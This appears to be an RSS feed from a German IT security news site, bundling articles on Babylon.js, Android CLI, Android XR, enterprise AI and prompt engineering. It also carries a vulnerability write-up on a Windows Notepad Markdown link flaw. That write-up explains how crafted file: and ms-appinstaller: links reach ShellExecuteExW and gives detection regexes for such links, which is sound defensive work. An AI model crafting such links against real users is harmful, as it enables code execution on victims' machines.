<![CDATA[Team IT Security - 📰 Alle Kategorien]]> de-DE Wed, 29 Jul 2026 09:24:24 +0200 Wed, 29 Jul 2026 09:24:24 +0200 15 2026 Team IT Security lakandor@tsecurity.de (Horus Sirius) lakandor@tsecurity.de (Horus Sirius) IT Security Cybersecurity Nachrichten Team IT Security RSS Generator v2.0 https://tsecurity.de/favicon.ico <![CDATA[Team IT Security - 📰 Alle Kategorien]]> <![CDATA[Lessons for life: Why children’s data is a long-term identity risk]]> https://tsecurity.de/de/3694646/malware-trojaner-viren/lessons-for-life-why-childrens-data-is-a-long-term-identity-risk/ https://tsecurity.de/de/3694646/malware-trojaner-viren/lessons-for-life-why-childrens-data-is-a-long-term-identity-risk/ Sat, 25 Jul 2026 19:04:33 +0200 ⚠️ Malware / Trojaner / Viren tsecurity.de <![CDATA[Part 2 – Babylon.js 9.0: Tooling updates and new geospatial features]]> https://tsecurity.de/de/3694510/it-security-nachrichten/part-2-babylonjs-90-tooling-updates-and-new-geospatial-features/ https://tsecurity.de/de/3694510/it-security-nachrichten/part-2-babylonjs-90-tooling-updates-and-new-geospatial-features/ Sat, 25 Jul 2026 19:01:35 +0200 📰 IT Security Nachrichten tsecurity.de Our mission is to create one of the most powerful, beautiful and accessible web rendering engines in the world. With Babylon.js 9.0, we’re delivering a major set of enhancements to help you build stunning experiences.

Babylon.js Editor<

The post Part 2 – Babylon.js 9.0: Tooling updates and new geospatial features appeared first on Windows Developer Blog.

]]> <![CDATA[Announcing Babylon.js 9.0]]> https://tsecurity.de/de/3694511/it-security-nachrichten/announcing-babylonjs-90/ https://tsecurity.de/de/3694511/it-security-nachrichten/announcing-babylonjs-90/ Sat, 25 Jul 2026 19:01:35 +0200 📰 IT Security Nachrichten tsecurity.de Our mission is to build one of the most powerful, beautiful, simple and open web rendering engines in the world. Today, we are thrilled to announce that mission takes a monumental leap forward with the release of Babylon.js 9.0.

https://www.youtube.

The post Announcing Babylon.js 9.0 appeared first on Windows Developer Blog.

]]> <![CDATA[CVE-2026-20841: Arbitrary Code Execution in the Windows Notepad]]> https://tsecurity.de/de/3694473/it-security-nachrichten/cve-2026-20841-arbitrary-code-execution-in-the-windows-notepad/ https://tsecurity.de/de/3694473/it-security-nachrichten/cve-2026-20841-arbitrary-code-execution-in-the-windows-notepad/ Sat, 25 Jul 2026 19:00:44 +0200 📰 IT Security Nachrichten tsecurity.de In this excerpt of a TrendAI Research Services vulnerability report, Nikolai Skliarenko and Yazhi Wang of the TrendAI Research team detail a recently patched command injection vulnerability in the Windows Notepad application. This bug was originally discovered by Cristian Papa and Alasdair Gorniak of Delta Obscura. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account. The following is a portion of their write-up covering CVE-2026-20841, with a few minimal modifications.

A remote code execution vulnerability has been reported in Microsoft Windows Notepad. The vulnerability is due to improper validation of links in Markdown files.

A remote attacker could exploit this vulnerability by enticing the victim to download and interact with a malicious file. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account.

The Vulnerability

Microsoft Windows comes with a default text-editing application called Windows Notepad. Historically, this application offered only minimal editing features. However, modern versions of Windows include an improved and extended Notepad by default. This new version supports multiple file formats, Markdown rendering, and Copilot-enhanced features.

Markdown is a lightweight markup language that allows users to create formatted text using a simple syntax. It is widely used for writing documents, blog posts, and README files. It supports a wide range of formatting options, including (but not limited to) headers, styled text, numbered and bulleted lists, and links. Markdown supports two main link formats: standard and inline. The standard link format is:

          [link-name](link/path)

When rendered, only the link text ("link-name") is shown to the user.

The inline links use the following format:

          <link/path>

When rendered, they are transformed into the equivalent standard link:

          [link/path](link/path)

A remote code execution vulnerability has been reported in Microsoft Windows Notepad. The vulnerability is due to improper validation of links when handling Markdown files.

When Notepad opens a file, if the application detects that the file requires special rendering (in this case, Markdown), the input file is tokenized. Tokenization in this context means splitting the raw file text into a sequence of small, recognizable pieces ("tokens") that the renderer can process one by one. Detection is performed based on the file extension. Only the ".md" extension was found to trigger Markdown rendering, as the application uses a fixed string comparison to determine whether Markdown should be rendered by calling sub_1400ED5D0(). Markdown files are rendered token by token.

Function sub_140170F60() handles clicking on links in Markdown files. It filters the link value, and passes it to ShellExecuteExW() call.

The filtering performed on the link is found to be insufficient, as it allows using malicious crafted protocol URIs, such as "file://" and "ms-appinstaller://", to execute arbitrary files in the security context of victim. ShellExecuteExW() uses the configured protocol handlers and may expose additional exploitable protocols depending on the system configuration.

A remote attacker could exploit this vulnerability by enticing the victim to download a malicious crafted Markdown file, open it, and click on a malicious link. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account.

Notes
• Files using the ".md" file extension are not registered to be opened by Notepad by default. However, when opened manually in Notepad, they are rendered as Markdown, which allows the vulnerability to be triggered.
• Any "\\" sequences are converted to "\" in the attacker-controlled link path prior to passing it to the ShellExecuteExW() call.

Source Code Walkthrough

The following code snippet was taken from Notepad.exe version 11.2508. Comments added by TrendAI researchers have been highlighted.

In sub_140170F60():

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the following application protocols that can be used to deliver an attack to exploit this vulnerability:
• FTP, over ports 21/TCP, 20/TCP
• HTTP, over port 80/TCP
• HTTPS, over port 443/TCP
• IMAP, over port 143/TCP
• NFS, over ports 2049/TCP, 2049/UDP, 111/TCP, 111/UDP
• POP3, over port 110/TCP
• SMTP, over ports 25/TCP, 587/TCP
• SMB/CIFS, over ports 139/TCP, 445/TCP

The detection device must inspect traffic transferring a Markdown file with the file extension ".md". If such a file transfer is found, the detection device must search the file content for links.

The detection device must check whether the link paths contain the strings "file:" or "ms-appinstaller:".

If "file:" was found, the detection device must search the Markdown file contents using the following case-insensitive regular expression:

(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}

If "ms-appinstaller:" was found, the detection device must search the Markdown file contents using the following case-insensitive regular expression:

(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}

If any of the regular expressions matches, the link contains a path to a remote resource. The traffic must be considered malicious; an attack exploiting this vulnerability is likely underway. This guidance should also detect the public PoC that was recently posted on GitHub.

Notes

•  The string matches are case-insensitive.
•  The detection guidance is based on the vendor-provided patch. However, the patch restricts the links to local-only files and HTTP(S) URIs, which may result in a huge number of false positives. Because of that, the detection guidance focuses on formats that may access and execute remote files. Due to that, it may result in false negatives.
•  The vulnerable function uses the configured protocol handlers and may expose additional exploitable protocols depending on the system configuration.

Conclusion

This vulnerability was patched by Microsoft in the February 2026 release cycle. They note no workarounds but do list user interaction as a prerequisite to exploitation. To fully remediate the vulnerability, the proper action is to test and deploy the provided vendor patch.

Special thanks to Nikolai Skliarenko and Yazhi Wang of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

]]> <![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]> https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/ https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/ Sat, 25 Jul 2026 18:55:51 +0200 📰 IT Security Nachrichten tsecurity.de

Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.

Why advanced prompting still matters in enterprise settings

Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.

1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning

The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.

What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.

Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”

After (CoT prompt):

“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  

Results: Accuracy and depth improved dramatically.

Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.

Template you can use:

You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]

2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths

For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.

Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT

Prompt Snippet:

Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.

Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).

When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.

3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior

One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.

ReAct example: (used in data analytics workflow)

You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]

In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.

4. Meta-prompting and self-reflection: Letting the model improve itself

Use the model to refine its own prompt. This is a huge time-saver.

You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.

Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.

5. Multimodal and structured output techniques

With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).

Tip from experience: Be extremely specific in describing what the models should focus on.

Best practices I learned the hard way

  • Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.
  • Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.
  • Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.
  • Security guardrails: Always include instructions against prompt injections and respect data boundaries.
  • When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.

Final takeaways for technical leaders

Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.

The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]> https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/ https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/ Sat, 25 Jul 2026 18:55:49 +0200 📰 IT Security Nachrichten tsecurity.de

I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.

The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.

AI as a leadership multiplier

The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.

When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”

Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.

Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.

When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.

The requirement for top-down, executive ownership stems from three critical realities observed in the field:

  • Silo-smashing and data collaboration: True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.
  • Cultural transformation and fear mitigation: AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.
  • C-Suite education and strategic alignment: The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.

PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across strategic decision-making and cross-functional workflows. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.

AI as a new operational framework

Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.

AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.

Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.

In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.

To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, your business is billed dynamically based on the exact volume of tokens consumed by every query submitted (input) and every response generated (output).

Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.

The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.

Risks in the AI adoption model

Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).

I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. Bain & Company’s global Automation and AI Pathfinder Survey found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.

Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.

Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from “How much money will AI save us?” to “How will we leverage AI to exponentially increase the long-term value of our enterprise?”

Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.

As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Android CLI Now Stable 1.0: Accelerate developing for Android using any agent]]> https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/ https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/ Sat, 25 Jul 2026 10:15:49 +0200 🤖 Android Tipps tsecurity.de
Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers

As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio, Antigravity 2.0, Antigravity CLI, or third-party agents like Anthropic's Claude Code or OpenAI'sCodex, our mission remains the same: to ensure that high-quality Android development is possible everywhere.

At Google I/O ‘26, we shared the latest leaps forward in agentic development, and showcased some of the newest capabilities of Android CLI—now stable at version 1.0 and ready for all Android developers to use. From new skills to enabling agent access to powerful Android Studio capabilities, we’re giving your agents the right tools to build alongside you.

If you’re already using Android CLI and want to jump into using all the new features, just run android update. Otherwise, read further to learn more about how we’re making the agents you choose be better at building for Android.

Android development unlocked for Antigravity

Google Antigravity now includes an optional bundle of Android resources—including the Android CLI and skills—that you can install. You can either install the bundle during onboarding after installation, or later from the Settings > Customizations > Build With Google Plugins menu.

This provides Antigravity with all the powerful tools and knowledge of Android CLI, enabling it to perform the core tasks necessary for Android app development more easily and efficiently—from creating projects to deploying your app on a new Android virtual device.

You can now easily install Android CLI for use with Google Antigravity 2.0.

Unlocking Android Studio capabilities for any agent

Android CLI provides a lightweight interface for AI Agents to perform tasks and retrieve knowledge about Android development. However, there's benefits to specialization — Android Studio contains over a decade of Android expertise, built to handle even the most complex Android projects. This includes Android Studio's powerful static analysis engine, refactoring tools, dependency management, UI design and rendering libraries, and more. AI Agents can now tap into Android Studio's tools to gain many of these same capabilities.

Your agents can now use Android CLI to access powerful capabilities of Android Studio.

The latest version of Android CLI introduces the new android studio command. This enables the agent of your choice to leverage the deep, contextual capabilities of Android Studio to better understand and perform actions on an open Android project. By running Android Studio alongside your preferred agent with Android CLI, your agent’s tasks can more efficiently navigate the codebase to produce more precise code changes. And, when you use Android CLI to create and iterate on your project, transitioning to Android Studio is much easier, so that you can use the purpose built tools—such as, performance profilers, Compose Previews, and Android Device Streaming—to get that production-grade polish.

When you have a project open in the latest preview version of Android Studio Quail, you (or your agent) can run the following command to check whether Android CLI has a connection established with your open project:

$ android studio check
pid: 32942
version: Android Studio
Projects:
    READY     JetSet /Users/adarshf/AndroidStudioProjects/jetset-main

From there, the agents can use the android studio command to access powerful IDE tools to interact with projects more efficiently. Key commands include:

  • analyze-file: Analyzes a file for errors and warnings using the editor's built-in inspections.
  • find-declaration: Finds the exact definition site of a symbol (class, method, variable, field, constant, or Android resource/color) across the project using semantic resolution.
  • find-usages: Finds all references and declarations of a symbol (class, method, variable, or Android resource) across the entire project using semantic analysis.
  • render-compose-preview: Renders a Jetpack Compose UI Preview and returns a path to the image and UI hierarchy if successful.
  • version-lookup: Get the latest information about which versions for specified app dependencies are available in common repositories, such as the Google Maven repository. By providing a programmatic solution, dependency management is less tedious and much less prone to flakiness.
  • open-file: Opens a file directly in Android Studio. This is useful if the agent wants to direct your attention to view Compose Previews, performance traces, or other specific files in the IDE.

For example, agents can now run the following commands to render a Compose preview for a new layout for your Android app, and then open the previews in Android Studio for you to take advantage of seeing multiple Compose Previews side by side and make AI-assisted edits right from the IDE.

$ android studio find-declaration HotelDetailScreen
$ android studio analyze-file .../JetPacker/feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt
$ android studio open-file feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt

To learn more about how to use these commands, run android help. And, to make sure your agents understand how to work with this tool, make sure to update the Android CLI skill by running android init.

More ways to get started

To make integrating Android CLI into your environments as seamless as possible, we’re making it available in more ways. You can now download and install Android CLI using more package managers: apt-get, winget, and homebrew. For example, you can run the following to install Android CLI using winget:

winget install -e --id Google.AndroidCLI

We’ve also updated the installation to a user-local directory, by default. You can find the commands for all supported operating systems plus additional download options on the Android CLI page.

Support for Journeys

Journeys are natural language descriptions of core user experiences.

We are also introducing support for Journeys. With Journeys tools and skills included with Android CLI, any agent of your choice can now create and run Journeys—which are natural language descriptions of user journeys for your app that are saved directly to your project.
 

(sped up) An agent running a Journey it generated for an app.

Agents can run these journeys using the Android CLI to navigate your app exactly like a user would. This unlocks entirely new ways to test, validate, or collect data across the critical experiences of your app, all driven by natural language and executed by your agent.

Expanding Android skills

To help models better understand and execute specific patterns that follow our best practices, we are continuing to expand our library of Android skills. We’re shipping new skills that make Android development everywhere more capable, efficient, and productive:

  • Display Glasses and Jetpack Compose Glimmer for XR: Provides guidelines for developing projected applications for Android Display Glasses using the Jetpack Compose Glimmer UI toolkit.
  • Migration to CameraX: Helps you migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.
  • Perfetto SQL: Translates natural language data prompts into Perfetto SQL queries and executes them against a local trace file.
  • Adaptive UI: Instructions to make or update an app's UI so that it adapts to different Android devices
  • Testing setup: Creates a basic testing strategy.
  • Styles: Helps with adoption of the new Jetpack Compose Style API for new components, and supports migration to Styles API. 
  • AppFunctions: Analyzes Android codebases to recommend and implement new AppFunctions, and refines KDoc documentation for Model Context Protocol optimization.

You can add these new skills to your workflow directly from the command line. To help your agents understand and use Android CLI right away, you can initialize your environment and install the base android-cli skill by running:

android init

From there, you can browse and set up your agent workflow by searching for the exact capabilities your agent needs:

android skills list

Once you've found the right skill, install it to your environment by running:

android skills add –skill=<skill-name>

Get started today

To download the stable 1.0 release of the Android CLI, explore the new tools, and browse the complete documentation, head over to d.android.com/tools/agents today!  Also, make sure you update to the latest preview version of Android Studio to unlock the latest features that Android CLI offers. We can't wait to see what you build with Android CLI 1.0 and how these new features supercharge your daily workflows. Join our vibrant community on LinkedIn, Medium, YouTube, or X and  share your feedback.

Explore this announcement and all Google I/O 2026 updates on io.google.

]]> <![CDATA[Building a Mixed-Reality Tour Guide with Android XR, the Geospatial API, and Gemini]]> https://tsecurity.de/de/3693504/android-tipps/building-a-mixed-reality-tour-guide-with-android-xr-the-geospatial-api-and-gemini/ https://tsecurity.de/de/3693504/android-tipps/building-a-mixed-reality-tour-guide-with-android-xr-the-geospatial-api-and-gemini/ Sat, 25 Jul 2026 10:15:35 +0200 🤖 Android Tipps tsecurity.de
Posted by Coco Fatus, UX Designer, Alon Hetzroni, UX Engineer, Azin Mehrnoosh, Product Manager Android XR






At this year's Google I/O, we announced an update for spatial experiences: the Geospatial API is now available as a preview in ARCore for Jetpack XR. By bringing Google's Visual Positioning System (VPS) to Android XR, Android XR enables anchoring digital content to the physical world with sub-meter accuracy and precise orientation in supported areas.* To explore what the Geospatial API could unlock, our team built a demo: the XR Geospatial Tour.

Imagine walking into a new city, putting on a pair of wired XR glasses (like the upcoming XREAL Project Aura), and instantly having a knowledgeable, local guide showing you around. You don't need to stare down at a 2D map—instead, 3D models gently guide your path, and an intelligent voice tells you about the historical landmarks right in front of you. We combined the Geospatial APIs, Gemini API using Firebase AI Logic, Google Maps Grounding, and Jetpack XR SDK to create a hands-free, immersive walking tour experience.

*Disclaimer: Video and Tour Guide application are for demonstration purposes only. Some sequences have been shortened. Any hardware depicted may be under development; final product details may differ.

Let’s walk through the implementation details and show how we tied these APIs together to build a world-scale spatial experience.

1. Pinpointing the User with ARCore Geospatial API (VPS)

Enhance your navigation experience on XR by combining the power of GPS with the precision of VPS. The accuracy and precise orientation that comes with VPS allows 3D waypoints to align with the physical world.

This is why the Geospatial API on Android XR can help you build custom experiences. By using advanced computer vision, VPS tries to provide a GeospatialPose (including latitude, longitude, and heading) that is more accurate than GPS.

Here's how we retrieve the user's Geospatial pose by mapping the device's orientation to a Geospatial coordinate:

// Retrieve the current geospatial pose from the ARCore session
val result = geospatial.createGeospatialPoseFromPose(arDevice.state.value.devicePose)
if (result is CreateGeospatialPoseFromPoseSuccess) {
    val pose = result.pose
    Log.d("VPS", "Accurate Location: ${pose.latitude}, ${pose.longitude}")
}

Because the entire experience relies on this accuracy, we monitor the horizontalAccuracy and orientationYawAccuracy until they meet our thresholds. If the user is indoors or in an unrecognized area, we prompt them to "walk to an outdoor public space and look around".

2. Crafting the Itinerary with Gemini API & Google Maps Grounding

Once we have a location, we use the Gemini API using Firebase AI Logic to prompt the Gemini model to act as a local tour guide. We pass the user's coordinates to the model and ask it to output a structured JSON response containing nearby walking tours:

   val configForTools = ToolConfig(
      functionCallingConfig = null,
      retrievalConfig = retrievalConfig {
        latLng = FirebaseLatLng(pose.latitude, pose.longitude)
        languageCode = "en"
      }
    )
    val responseJsonSchema = Schema.obj(
      mapOf(
        "locationIntro" to Schema.string(),
        "tours" to Schema.array(
          Schema.obj(
            mapOf(
              "title" to Schema.string(),
              "description" to Schema.string(),
              "stops" to Schema.array(
                Schema.obj(
                  mapOf(
                    "name" to Schema.string(),
                    "detailedName" to Schema.string(),
                    "description" to Schema.string()
                  )
                )
              )
            )
          )
        )
      )
    )
    val model = Firebase.ai(backend = GenerativeBackend.googleAI()).generativeModel(
      modelName = "gemini-3.5-flash",
      tools = listOf(Tool.googleMaps()),
      generationConfig = generationConfig {
        responseMimeType = "application/json"
        responseSchema = responseJsonSchema
      }
    )
   val result = model.generateContent("The user is at latitude ${pose.latitude} and longitude ${pose.longitude}. Generate exactly 3 diverse tours near this location (e.g., historical, food, nature). All tour ideas should be walking distance only.")

Large Language Models are great at generating rich descriptions, but they can sometimes hallucinate exact latitude/longitude coordinates. To solve this, we used Google Maps Grounding to ground the AI.

3. A Voice to Guide You: Gemini 2.5 TTS

To make the tour guide feel truly present, we implemented dynamic voiceovers.

Using the gemini-2.5-flash-tts model, we can configure our model generation config to natively return audio data instead of just text! Here’s how you can request the ResponseModality.AUDIO:

val ttsModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-2.5-flash-tts",
        generationConfig = generationConfig {
            // Instruct the model to return Audio
            responseModalities = listOf(ResponseModality.AUDIO)
        }
    )
val response = ttsModel.generateContent("Say in a neutral but positive voice:\n$prompt")
// Extract the raw audio bytes from the response
val audioBytes = response.candidates.firstOrNull()?.content?.parts
    ?.filterIsInstance<InlineDataPart>()
    ?.firstOrNull { it.mimeType.contains("audio") }?.inlineData

4. Bringing it to Life in 3D with Jetpack XR

The final piece of the puzzle is rendering this data in the user's field of view. The Jetpack XR SDK makes it intuitive to transition from a 2D Android UI to spatial computing.

We used Jetpack Compose for XR to build spatial components. To represent points of interest along the tour, we built a Composable called InfoSphere, which contains a GltfModel of a 3D orb that floats in space and can be interacted with to reveal information.

Using Jetpack XR SDK, we can place 3D models alongside the Compose UI using SpatialBox and SceneCoreEntity. We also used InteractableComponent to respond to user taps.

@Composable
fun InfoSphere(
    content: InfoBubbleContent,
    session: Session,
    sphereModel: GltfModel,
    isSelected: Boolean,
    onClick: () -> Unit
) {
    // SpatialBox lets us arrange 3D components and SpatialPanels together
    SpatialBox(
        SubspaceModifier
            .offset(x = 2.dp, y = 1.dp, z = (-3).dp) // Positioned in 3D space
    ) {
        // Smoothly animate the visibility of our 2D Compose UI Panel
        AnimatedSpatialVisibility(visible = isSelected) {
            SpatialPanel {
                InfoBubble(content) // Regular 2D Compose UI
            }
        }
        // Render our interactive 3D sphere
        SceneCoreEntity(
            factory = {
                GltfModelEntity.create(session, sphereModel).also { entity ->
                    // Make the 3D model respond to user taps
                    entity.addComponent(InteractableComponent.create(session) { inputEvent ->
                        if (inputEvent.action == InputEvent.Action.UP) {
                            onClick()
                        }
                    })
                }
            }
        )
    }
}

By combining AnimatedSpatialVisibility for traditional Compose UI surfaces with SceneCoreEntity 3D elements, we're able to seamlessly blend data into the physical world.

Explore what’s possible with Android XR today

Building the XR Geospatial Tour app showed us that the barrier to entry for world-scale spatial experiences is lower than ever for Android developers. With the Geospatial API now available in preview on Android XR, your apps can seamlessly understand the physical world around them. By combining Compose for XR’s APIs with the high-precision location data of VPS and the generative capabilities of Gemini, we can create experiences that understand both where the user is and what they are looking at.

To help you get hands-on with Android XR, we are thrilled to open applications for the Android XR Developer Catalyst Program, which includes XREAL Project Aura. Starting today, you can apply to get access to an XREAL Project Aura devkit or our display glasses devkit over the coming months!

*Disclaimer: Available on select devices. Internet connection required. Works on compatible apps and surfaces. Results may vary.


